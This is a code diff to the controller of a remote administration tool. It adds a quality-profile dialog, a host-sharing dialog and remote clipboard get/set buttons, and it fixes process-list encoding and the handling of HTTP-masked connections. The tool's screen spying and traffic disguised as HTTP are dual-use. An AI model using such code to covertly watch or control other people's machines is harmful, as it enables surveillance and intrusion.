-    m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str()));
+    // Display stored semicolon-separated keywords as one keyword per line.
+    {
+        CString pattern;
+        const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
+        int start = 0;
+        for (;;) {
+            const int pos = stored.Find(_T(';'), start);
+            CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
+            kw.Trim();
+            if (!kw.IsEmpty()) {
+                if (!pattern.IsEmpty()) pattern += _T("\r\n");
+                pattern += kw;
+            }
+            if (pos < 0) break;
+            start = pos + 1;
+        }
+        m_editNotifyPattern.SetWindowText(pattern);
+    }
 }
 
 void NotifySettingsDlg::SaveSettings()
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
     sel = m_comboNotifyColumn.GetCurSel();
     rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
 
+    // Normalize one-keyword-per-line input back to semicolon-separated storage.
     m_editNotifyPattern.GetWindowText(str);
-    rule.matchPattern = CT2A(str, CP_UTF8);
+    str.Replace(_T("\r\n"), _T("\n"));
+    str.Replace(_T('\r'), _T('\n'));
+    {
+        CString joined;
+        int start = 0;
+        for (;;) {
+            const int pos = str.Find(_T('\n'), start);
+            CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
+            kw.Trim();
+            if (!kw.IsEmpty()) {
+                if (!joined.IsEmpty()) joined += _T(';');
+                joined += kw;
+            }
+            if (pos < 0) break;
+            start = pos + 1;
+        }
+        rule.matchPattern = CT2A(joined, CP_UTF8);
+    }
 
     // Update manager config and save
     GetNotifyManager().SetConfig(m_config);

server/2015Remote/PluginSettingsDlg.cpp

@@ -102,6 +102,10 @@ void CPluginSettingsDlg::InitListCtrl()
     GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
     GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
     SetWindowText(_TR("插件设置"));
+
+    // 按钮文字来自对话框模板，非中文系统上会被系统 ACP 转成 "??"，须显式设置（参照 NotifySettingsDlg）
+    SetDlgItemText(IDC_BTN_SAVE, _TR("保存"));
+    SetDlgItemText(IDOK, _TR("关闭"));
 }
 
 void CPluginSettingsDlg::LoadPluginsToList()

server/2015Remote/QualityLevelsDlg.h

@@ -0,0 +1,176 @@
+// QualityLevelsDlg.h
+// 远程桌面质量等级配置对话框：编辑 6 档 QualityProfile（帧率/宽度/算法/码率）。
+// 纯主控端 UI 偏好，持久化由 CMy2015RemoteDlg::SaveQualityProfilesToCfg() 负责。
+// 仅在 2015RemoteDlg.cpp 中 include 一次（头文件内联实现，勿多处包含）。
+#pragma once
+
+#include "LangManager.h"
+
+class CQualityLevelsDlg : public CDialog
+{
+public:
+    enum { IDD = IDD_QUALITY_LEVELS };
+
+    // profiles: 指向 6 元素 QualityProfile 数组，确认后写回
+    CQualityLevelsDlg(QualityProfile* profiles, CWnd* pParent = NULL)
+        : CDialog(CQualityLevelsDlg::IDD, pParent), m_profiles(profiles)
+    {
+    }
+
+protected:
+    QualityProfile* m_profiles;
+    QualityProfile  m_working[QUALITY_COUNT];
+
+    static const char* AlgorithmName(int algo)
+    {
+        switch (algo) {
+            case ALGORITHM_GRAY:   return "GRAY";
+            case ALGORITHM_DIFF:   return "DIFF";
+            case ALGORITHM_H264:   return "H264";
+            case ALGORITHM_RGB565: return "RGB565";
+            default:               return "?";
+        }
+    }
+
+    static const char* LevelName(int i)
+    {
+        static const char* names[QUALITY_COUNT] = {
+            "Ultra", "High", "Good", "Medium", "Low", "Minimal"
+        };
+        return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
+    }
+
+    void FillAlgoCombo(int i)
+    {
+        CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
+        if (!cb) return;
+        for (int a = 0; a < 4; a++) {
+            cb->AddString(CString(AlgorithmName(a)));
+        }
+        cb->SetCurSel(m_working[i].algorithm);
+    }
+
+    void LoadToControls()
+    {
+        CString s;
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            s.Format(_T("%d"), m_working[i].maxFPS);
+            SetDlgItemText(IDC_QLEVEL_FPS + i, s);
+            s.Format(_T("%d"), m_working[i].maxWidth);
+            SetDlgItemText(IDC_QLEVEL_WIDTH + i, s);
+            s.Format(_T("%d"), m_working[i].bitRate);
+            SetDlgItemText(IDC_QLEVEL_BITRATE + i, s);
+            FillAlgoCombo(i);
+        }
+    }
+
+    bool ReadInt(int id, int& out)
+    {
+        CString s;
+        GetDlgItemText(id, s);
+        s.Trim();
+        if (s.IsEmpty()) return false;
+
+        int v = 0;
+        for (int k = 0; k < s.GetLength(); k++) {
+            TCHAR ch = s[k];
+            if (ch < _T('0') || ch > _T('9')) return false;
+            v = v * 10 + (ch - _T('0'));
+        }
+        out = v;
+        return true;
+    }
+
+    bool ReadFromControls(CString& err)
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            int fps, w, br;
+            if (!ReadInt(IDC_QLEVEL_FPS + i, fps))
+            { err.Format(_T("等级 %s 的帧率不是有效数字"), LevelName(i)); return false; }
+            if (!ReadInt(IDC_QLEVEL_WIDTH + i, w))
+            { err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
+            if (!ReadInt(IDC_QLEVEL_BITRATE + i, br))
+            { err.Format(_T("等级 %s 的码率不是有效数字"), LevelName(i)); return false; }
+
+            if (fps < 1 || fps > 60)
+            { err.Format(_T("等级 %s 的帧率需在 1~60 之间"), LevelName(i)); return false; }
+            if (w < 0 || w > 8192)
+            { err.Format(_T("等级 %s 的最大宽度需在 0~8192 之间（0=原始分辨率）"), LevelName(i)); return false; }
+            if (br < 0 || br > 50000)
+            { err.Format(_T("等级 %s 的码率需在 0~50000 之间"), LevelName(i)); return false; }
+
+            CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
+            int algo = cb ? cb->GetCurSel() : -1;
+            if (algo < 0 || algo > 3)
+            { err.Format(_T("等级 %s 的编码算法未选择"), LevelName(i)); return false; }
+
+            m_working[i].maxFPS    = fps;
+            m_working[i].maxWidth  = w;
+            m_working[i].bitRate   = br;
+            m_working[i].algorithm = algo;
+        }
+        return true;
+    }
+
+    void ResetToDefaults()
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = GetQualityProfile(i);
+        }
+        LoadToControls();
+    }
+
+    virtual BOOL OnInitDialog() override
+    {
+        CDialog::OnInitDialog();
+
+        // 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?"，TranslateDialog
+        // 拿到的是已乱码文本无法还原，故在此显式设置（参照 NotifySettingsDlg）。
+        // 均经 _TR/_L 支持多语言翻译。
+        SetWindowText(_TR("远程桌面质量等级"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL,   _TR("等级"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_FPS,     _TR("帧率(FPS)"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_WIDTH,   _TR("最大宽度"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_ALGO,    _TR("编码算法"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_BITRATE, _TR("码率(kbps)"));
+        static const TCHAR* kLevelNames[QUALITY_COUNT] = {
+            _T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
+            _T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
+        };
+        for (int i = 0; i < QUALITY_COUNT; i++)
+            SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
+        SetDlgItemText(IDC_QLEVEL_LABEL_HINT,
+            _TR("最大宽度 0 表示原始分辨率；DIFF/RGB565 适合局域网，H264 适合跨网"));
+        SetDlgItemText(IDC_QLEVEL_RESET, _TR("恢复默认"));
+        SetDlgItemText(IDOK,              _TR("确定"));
+        SetDlgItemText(IDCANCEL,          _TR("取消"));
+
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = m_profiles[i];
+        }
+        LoadToControls();
+        return TRUE;
+    }
+
+    virtual void OnOK() override
+    {
+        CString err;
+        if (!ReadFromControls(err)) {
+            MessageBox(err, _TR("提示"), MB_ICONWARNING);
+            return;
+        }
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_profiles[i] = m_working[i];
+        }
+        CDialog::OnOK();
+    }
+
+    virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
+    {
+        if (LOWORD(wParam) == IDC_QLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
+            ResetToDefaults();
+            return TRUE;
+        }
+        return CDialog::OnCommand(wParam, lParam);
+    }
+};

server/2015Remote/ScreenSpyDlg.cpp

@@ -889,13 +889,17 @@ BOOL CScreenSpyDlg::OnInitDialog()
     // 启动传输速率更新定时器 (1秒)
     SetTimer(4, 1000, NULL);
 
-    // 下发质量配置表（让客户端可以持久化保存）
+    // 下发质量配置表（让客户端可以持久化保存）。
+    // 优先使用主控端在「高级 → 远程桌面质量等级」里自定义的档位；无主控端时回落内置默认表。
     {
         BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT];
         profileCmd[0] = CMD_QUALITY_PROFILES;
         for (int i = 0; i < QUALITY_COUNT; i++) {
+            const QualityProfile& prof = (m_pParent != nullptr)
+                ? m_pParent->GetQualityProfileCfg(i)
+                : GetQualityProfile(i);
             memcpy(profileCmd + 1 + i * sizeof(QualityProfile),
-                   &GetQualityProfile(i), sizeof(QualityProfile));
+                   &prof, sizeof(QualityProfile));
         }
         m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd));
     }

server/2015Remote/SearchBarDlg.cpp

@@ -277,6 +277,12 @@ void CSearchBarDlg::DoSearch()
                 colText = ctx->GetClientData(col);
             }
 
+            // 地理位置列已统一按 UTF-8 存储（见 AddList），而搜索输入是 CP_ACP；
+            // 转回 CP_ACP 再比对，否则按中文位置搜索会因编码不一致而失配。
+            if (col == ONLINELIST_LOCATION) {
+                colText = CString(Utf8ToAnsi(std::string(colText.GetString())).c_str());
+            }
+
             colText.MakeLower();
             if (colText.Find(searchText) >= 0) {
                 matched = true;

server/2015Remote/Server.h

@@ -112,7 +112,12 @@ protected:
             m_bShouldUnmask = TRUE;
             std::string clientIP = getXForwardedFor(str);
             if (!clientIP.empty()) peer = clientIP;
-        } else {
+        } else if (m_bShouldUnmask != TRUE) {
+            // 仅当连接尚未被判定为 HTTP（初始 -1，或已确认非 HTTP）时才置为 FALSE。
+            // 否则会误伤 HTTP 连接的分片续包：续包到达时读位置已越过掩码头，
+            // TryUnMask 找不到 "POST "（maskType==None），若在这里把 m_bShouldUnmask
+            // 从 TRUE 改回 FALSE，下一个新包（仍是 HTTP 掩码）就不再解掩码，从而被 Parse
+            // 判为 PARSER_FAILED。这正是「kill 后进程列表确认包到不了 NotifyProc」的根因。
             m_bShouldUnmask = FALSE;
         }
         if (nullptr == m_Masker) {
@@ -568,6 +573,20 @@ public:
         }
         return FALSE;
     }
+    // 等待 OutCompressedBuffer 排空。OnClientPostSending 在最后一个 WSASend 完成后
+    // ClearBuffer 使有效长度归零，此处轮询该信号，避免背靠背 Send2Client 对同一缓冲
+    // 并发 WSASend（MCP OnSystemReady 发写命令后补发刷新命令时调用）。
+    bool WaitSendIdle(int timeoutMs) override
+    {
+        ULONGLONG deadline = (timeoutMs > 0) ? (GetTickCount64() + (ULONGLONG)timeoutMs) : 0;
+        while (OutCompressedBuffer.GetBufferLength() != 0) {
+            if (timeoutMs > 0 && GetTickCount64() >= deadline) {
+                return false;
+            }
+            Sleep(1);
+        }
+        return true;
+    }
     VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
     {
         for (int i = 0; i < ONLINELIST_MAX; i++) {

server/2015Remote/ShareHostDlg.cpp

@@ -0,0 +1,125 @@
+// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对话框实现
+//
+
+#include "stdafx.h"
+#include "ShareHostDlg.h"
+#include "2015Remote.h"
+#include <algorithm>
+
+CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/)
+    : CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent)
+    , m_bNeedDays(bNeedDays)
+    , m_bShine(TRUE)
+{
+}
+
+CShareHostDlg::~CShareHostDlg()
+{
+}
+
+void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt)
+{
+    m_sCaption = caption;
+    m_sPrompt = prompt;
+}
+
+void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue)
+{
+    m_sDaysName = name;
+    m_sDays = defaultValue;
+}
+
+void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey)
+{
+    m_sHistoryKey = historyKey;
+}
+
+void CShareHostDlg::DoDataExchange(CDataExchange* pDX)
+{
+    CDialogLangEx::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput);
+    DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays);
+    DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays);
+    DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine);
+}
+
+BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx)
+END_MESSAGE_MAP()
+
+BOOL CShareHostDlg::OnInitDialog()
+{
+    CDialogLangEx::OnInitDialog();
+
+    SetWindowText(m_sCaption);
+    SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt);
+    SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine 协议(兼容 Go 服务端)"));
+    SetDlgItemText(IDOK, _TR("确定"));
+    SetDlgItemText(IDCANCEL, _TR("取消"));
+
+    // 天数（仅转移主机显示）
+    m_StaticDays.SetWindowTextA(m_sDaysName);
+    m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
+    m_EditDays.SetWindowTextA(m_sDays);
+    m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
+
+    // 默认勾选 Shine
+    m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED);
+
+    LoadHistory();
+    m_ComboInput.SetWindowText(m_str);
+
+    return TRUE;
+}
+
+void CShareHostDlg::OnOK()
+{
+    m_ComboInput.GetWindowText(m_str);
+    m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED);
+    if (m_bNeedDays)
+        m_EditDays.GetWindowText(m_sDays);
+
+    SaveHistory();
+    CDialogLangEx::OnOK();
+}
+
+void CShareHostDlg::LoadHistory()
+{
+    if (m_sHistoryKey.IsEmpty()) return;
+
+    std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
+    if (history.empty()) return;
+
+    auto items = StringToVector(history, '|');
+    for (size_t i = 0; i < items.size() && i < 16; i++) {
+        if (!items[i].empty()) {
+            m_ComboInput.AddString(items[i].c_str());
+        }
+    }
+}
+
+void CShareHostDlg::SaveHistory()
+{
+    if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
+
+    std::string newValue = m_str.GetString();
+    if (newValue.find('|') != std::string::npos) return;
+
+    std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
+    auto items = StringToVector(history, '|');
+
+    items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
+    items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
+
+    items.insert(items.begin(), newValue);
+
+    if (items.size() > 16) {
+        items.resize(16);
+    }
+
+    std::string result;
+    for (size_t i = 0; i < items.size(); i++) {
+        if (i > 0) result += '|';
+        result += items[i];
+    }
+    THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
+}

server/2015Remote/ShareHostDlg.h

@@ -0,0 +1,45 @@
+#pragma once
+
+#include "resource.h"
+#include "LangManager.h"
+
+// 分享主机 / 转移主机 专用对话框（带 Shine/HELL 协议勾选）
+
+class CShareHostDlg : public CDialogLangEx
+{
+public:
+    CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE);
+    virtual ~CShareHostDlg();
+
+    enum { IDD = IDD_DIALOG_SHARE_HOST };
+
+    void Init(LPCTSTR caption, LPCTSTR prompt);
+    void InitDays(LPCTSTR name, LPCTSTR defaultValue);   // 仅转移主机显示
+    void SetHistoryKey(LPCTSTR historyKey);
+
+    // 结果
+    CString m_str;      // 地址 IP:PORT
+    CString m_sDays;    // 天数（转移主机）
+    BOOL    m_bShine;   // TRUE=Shine(0), FALSE=HELL(1)
+
+protected:
+    virtual void DoDataExchange(CDataExchange* pDX);
+    virtual BOOL OnInitDialog();
+    virtual void OnOK();
+
+    DECLARE_MESSAGE_MAP()
+
+    CString m_sCaption;
+    CString m_sPrompt;
+    CString m_sDaysName;
+    CString m_sHistoryKey;
+    BOOL m_bNeedDays;
+
+    CComboBox m_ComboInput;
+    CStatic   m_StaticDays;
+    CEdit     m_EditDays;
+    CButton   m_CheckShine;
+
+    void LoadHistory();
+    void SaveHistory();
+};

server/2015Remote/SystemDlg.cpp

@@ -232,6 +232,26 @@ void CSystemDlg::ShowWindowsList(void)
     ApplySort();  // 应用记忆的排序偏好
 }
 
+// 按客户端编码 (936 或 UTF-8) 解码字节串，并用 LVM_SETITEMTEXTW 写入列表单元格，
+// 绕开 ANSI→CP_ACP 回转（非中文 ACP 服务端上中文也能正常显示，与窗口管理同法）。
+static void SetClientTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 void CSystemDlg::ShowProcessList(void)
 {
     // GetMyBuffer(1) 深拷贝数据，跳过 TOKEN 字节
@@ -248,6 +268,10 @@ void CSystemDlg::ShowProcessList(void)
     const char	*szProcessFullPath;
     DWORD	dwOffset = 0;
     CString str;
+    // 进程名/路径编码：Windows 客户端 A 接口生成，恒为 GBK/936；仅 LNX/MAC 为 UTF-8。
+    // 不能用 GetClientEncoding（它对新客户端返回 CP_UTF8，会把 GBK 进程名解成乱码）。
+    UINT cp = GetProcessListEncoding(m_ContextObject);
+
     DeleteAllItems();
     //遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
     int i;
@@ -258,10 +282,11 @@ void CSystemDlg::ShowProcessList(void)
         szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1;  //完整名就是进程名之后的啦
         //他的数据结构的构建很巧妙
 
-        m_ControlList.InsertItem(i, arr[0].c_str());       //将得到的数据加入到列表当中
+        m_ControlList.InsertItem(i, "");       // 占位，首列随后用 Unicode 写入
         str.FormatL("%5u", *PID);
-        m_ControlList.SetItemText(i, 1, str);
-        m_ControlList.SetItemText(i, 2, szProcessFullPath);
+        m_ControlList.SetItemText(i, 1, str);              // PID (ASCII)
+        SetClientTextItem(m_ControlList, i, 0, arr[0].c_str(), cp);      // 进程名（按客户端编码）
+        SetClientTextItem(m_ControlList, i, 2, szProcessFullPath, cp);   // 程序路径（按客户端编码）
         m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
         // ItemData 为进程ID；Data[3] 需与第 4 列"架构"一致，否则按架构排序拿到空串而无意义
         auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };

server/2015Remote/ToolbarDlg.cpp

@@ -39,6 +39,8 @@ BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx)
     ON_BN_CLICKED(IDC_BTN_Y, &CToolbarDlg::OnBnClickedY)
     ON_BN_CLICKED(IDC_BTN_Z, &CToolbarDlg::OnBnClickedZ)
     ON_BN_CLICKED(IDC_BTN_SCREENSHOT, &CToolbarDlg::OnBnClickedScreenshot)
+    ON_BN_CLICKED(IDC_BTN_GET_CLIPBOARD, &CToolbarDlg::OnBnClickedGetClipboard)
+    ON_BN_CLICKED(IDC_BTN_SET_CLIPBOARD, &CToolbarDlg::OnBnClickedSetClipboard)
     ON_WM_ERASEBKGND()
 END_MESSAGE_MAP()
 
@@ -88,7 +90,7 @@ void CToolbarDlg::CheckMousePosition()
     int monWidth = monRight - monLeft;
     int monHeight = monBottom - monTop;
 
-    int btnSize = 32, btnSpacing = 8, btnCount = 16;
+    int btnSize = 32, btnSpacing = 8, btnCount = 18;
 
     if (m_nPosition <= 1) {
         // 水平模式 (上/下)
@@ -153,9 +155,9 @@ void CToolbarDlg::SlideIn()
     int monWidth = monRight - monLeft;
     int monHeight = monBottom - monTop;
 
-    int hw = 640; // 水平工具栏宽度 (与垂直高度一致)
+    int hw = 720; // 水平工具栏宽度 (与垂直高度一致)
     int vw = 40;
-    int vh = 640;
+    int vh = 720;
 
     // 从边缘展开（改变窗口大小），避免多显示器时跑到相邻屏幕
     switch (m_nPosition) {
@@ -212,9 +214,9 @@ void CToolbarDlg::SlideOut()
     int monWidth = monRight - monLeft;
     int monHeight = monBottom - monTop;
 
-    int hw = 640;
+    int hw = 720;
     int vw = 40;
-    int vh = 640;
+    int vh = 720;
 
     CWnd* btns[] = {
         &m_btnExit, &m_btnControl,
@@ -224,9 +226,10 @@ void CToolbarDlg::SlideOut()
         &m_btnQuality, &m_btnRestoreConsole,
         &m_btnX, &m_btnY, &m_btnZ,
         &m_btnScreenshot,
+        &m_btnGetClipboard, &m_btnSetClipboard,
         &m_btnMinimize, &m_btnClose,
     };
-    const int N = 16;
+    const int N = 18;
     CRect btnRects[N];
     for (int i = 0; i < N; i++) {
         btns[i]->GetWindowRect(&btnRects[i]);
@@ -331,6 +334,8 @@ BOOL CToolbarDlg::OnInitDialog()
     m_btnY.SubclassDlgItem(IDC_BTN_Y, this);
     m_btnZ.SubclassDlgItem(IDC_BTN_Z, this);
     m_btnScreenshot.SubclassDlgItem(IDC_BTN_SCREENSHOT, this);
+    m_btnGetClipboard.SubclassDlgItem(IDC_BTN_GET_CLIPBOARD, this);
+    m_btnSetClipboard.SubclassDlgItem(IDC_BTN_SET_CLIPBOARD, this);
     m_btnMinimize.SubclassDlgItem(IDC_BTN_MINIMIZE, this);
     m_btnClose.SubclassDlgItem(IDC_BTN_CLOSE, this);
 
@@ -343,6 +348,8 @@ BOOL CToolbarDlg::OnInitDialog()
     // Y按钮图标在 UpdateButtonIcons 中根据音频状态动态设置
     m_btnZ.SetIconDrawFunc(CIconButton::DrawIconLetterZ);  // 预留按钮 Z
     m_btnScreenshot.SetIconDrawFunc(CIconButton::DrawIconScreenshot);
+    m_btnGetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterC);
+    m_btnSetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterP);
     m_btnMinimize.SetIconDrawFunc(CIconButton::DrawIconMinimize);
     m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
     m_btnClose.SetIsCloseButton(true);
@@ -367,6 +374,8 @@ BOOL CToolbarDlg::OnInitDialog()
     m_tooltip.AddTool(&m_btnY, pParent->m_Settings.AudioEnabled ? _TR("关闭系统音频") : _TR("打开系统音频"));
     m_tooltip.AddTool(&m_btnZ, _TR("选择ROI"));
     m_tooltip.AddTool(&m_btnScreenshot, _TR("截图"));
+    m_tooltip.AddTool(&m_btnGetClipboard, _TR("获取剪贴板"));
+    m_tooltip.AddTool(&m_btnSetClipboard, _TR("设置剪贴板"));
     m_tooltip.AddTool(&m_btnMinimize, _TR("最小化"));
     m_tooltip.AddTool(&m_btnClose, _TR("关闭"));
 
@@ -383,9 +392,9 @@ BOOL CToolbarDlg::OnInitDialog()
         int monWidth = rcMonitor.right - rcMonitor.left;
         int monHeight = rcMonitor.bottom - rcMonitor.top;
 
-        int hw = 640;
+        int hw = 720;
         int vw = 40;
-        int vh = 640;
+        int vh = 720;
         int hx = rcMonitor.left + (monWidth - hw) / 2;
 
         switch (m_nPosition) {
@@ -514,7 +523,7 @@ void CToolbarDlg::LayoutButtons()
 {
     int btnSize = 32;
     int btnSpacing = 8;
-    int btnCount = 16;
+    int btnCount = 18;
 
     CWnd* btns[] = {
         &m_btnExit,
@@ -531,6 +540,8 @@ void CToolbarDlg::LayoutButtons()
         &m_btnY,           // 预留按钮 Y
         &m_btnZ,           // 预留按钮 Z
         &m_btnScreenshot,
+        &m_btnGetClipboard,
+        &m_btnSetClipboard,
         &m_btnMinimize,
         &m_btnClose,
     };
@@ -588,9 +599,9 @@ void CToolbarDlg::UpdatePosition()
     int monWidth = rcMonitor.right - rcMonitor.left;
     int monHeight = rcMonitor.bottom - rcMonitor.top;
 
-    int hw = 640;
+    int hw = 720;
     int vw = 40;
-    int vh = 640;
+    int vh = 720;
     int hx = rcMonitor.left + (monWidth - hw) / 2;
 
     switch (m_nPosition) {
@@ -785,6 +796,18 @@ void CToolbarDlg::OnBnClickedScreenshot()
     }
 }
 
+void CToolbarDlg::OnBnClickedGetClipboard()
+{
+    // 与系统菜单 IDM_GET_CLIPBOARD 相同的处理逻辑
+    GetParent()->PostMessage(WM_SYSCOMMAND, IDM_GET_CLIPBOARD, 0);
+}
+
+void CToolbarDlg::OnBnClickedSetClipboard()
+{
+    // 与系统菜单 IDM_SET_CLIPBOARD 相同的处理逻辑
+    GetParent()->PostMessage(WM_SYSCOMMAND, IDM_SET_CLIPBOARD, 0);
+}
+
 BOOL CToolbarDlg::PreTranslateMessage(MSG* pMsg)
 {
     if (m_tooltip.GetSafeHwnd()) {

server/2015Remote/ToolbarDlg.h

@@ -39,6 +39,8 @@ public:
     CIconButton m_btnY;           // 预留按钮 Y
     CIconButton m_btnZ;           // 预留按钮 Z
     CIconButton m_btnScreenshot;
+    CIconButton m_btnGetClipboard;  // 获取剪贴板
+    CIconButton m_btnSetClipboard;  // 设置剪贴板
     CIconButton m_btnMinimize;
     CIconButton m_btnClose;
 
@@ -80,6 +82,8 @@ public:
     afx_msg void OnBnClickedY();          // 预留按钮 Y 响应函数
     afx_msg void OnBnClickedZ();          // 预留按钮 Z 响应函数
     afx_msg void OnBnClickedScreenshot();
+    afx_msg void OnBnClickedGetClipboard();
+    afx_msg void OnBnClickedSetClipboard();
     afx_msg BOOL OnEraseBkgnd(CDC* pDC);
     virtual BOOL OnInitDialog();
 };

server/2015Remote/TriggerSettingsDlg.cpp

@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
     ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
     ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
     ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
+    ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
 END_MESSAGE_MAP()
 
 CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
 {
     // 初始化触发类型下拉框
     m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
+    m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
     m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
 
     // 初始化插件列表
@@ -132,6 +134,13 @@ void CTriggerSettingsDlg::InitControls()
     SetWindowText(_TR("触发器设置"));
     GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
     GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
+
+    // 按钮/分组框文字来自对话框模板，非中文系统上会被系统 ACP 转成 "?"，须显式设置
+    SetDlgItemText(IDC_STATIC_TRIGGER_LIST, _TR("已配置的触发器"));
+    SetDlgItemText(IDC_BTN_TRIGGER_ADD,     _TR("添加 >>"));
+    SetDlgItemText(IDC_BTN_TRIGGER_REMOVE,  _TR("<< 移除"));
+    SetDlgItemText(IDC_BTN_SAVE,            _TR("保存(&S)"));
+    SetDlgItemText(IDOK,                    _TR("关闭"));
 }
 
 void CTriggerSettingsDlg::LoadPluginsToList()
@@ -147,27 +156,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
         index++;
     }
 
-    // 如果有已配置的主机上线触发器，勾选对应的插件
-    TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
-    if (onlineTrigger) {
-        for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
-            DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
-            if (!dll) continue;
-            for (const auto& pluginName : onlineTrigger->PluginNames) {
-                if (pluginName == dll->Name) {
-                    m_listPlugins.SetCheck(i, TRUE);
-                    break;
-                }
-            }
-        }
-    }
+    // 回显当前选中触发类型已勾选的插件
+    ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
 }
 
 void CTriggerSettingsDlg::LoadTriggersToList()
 {
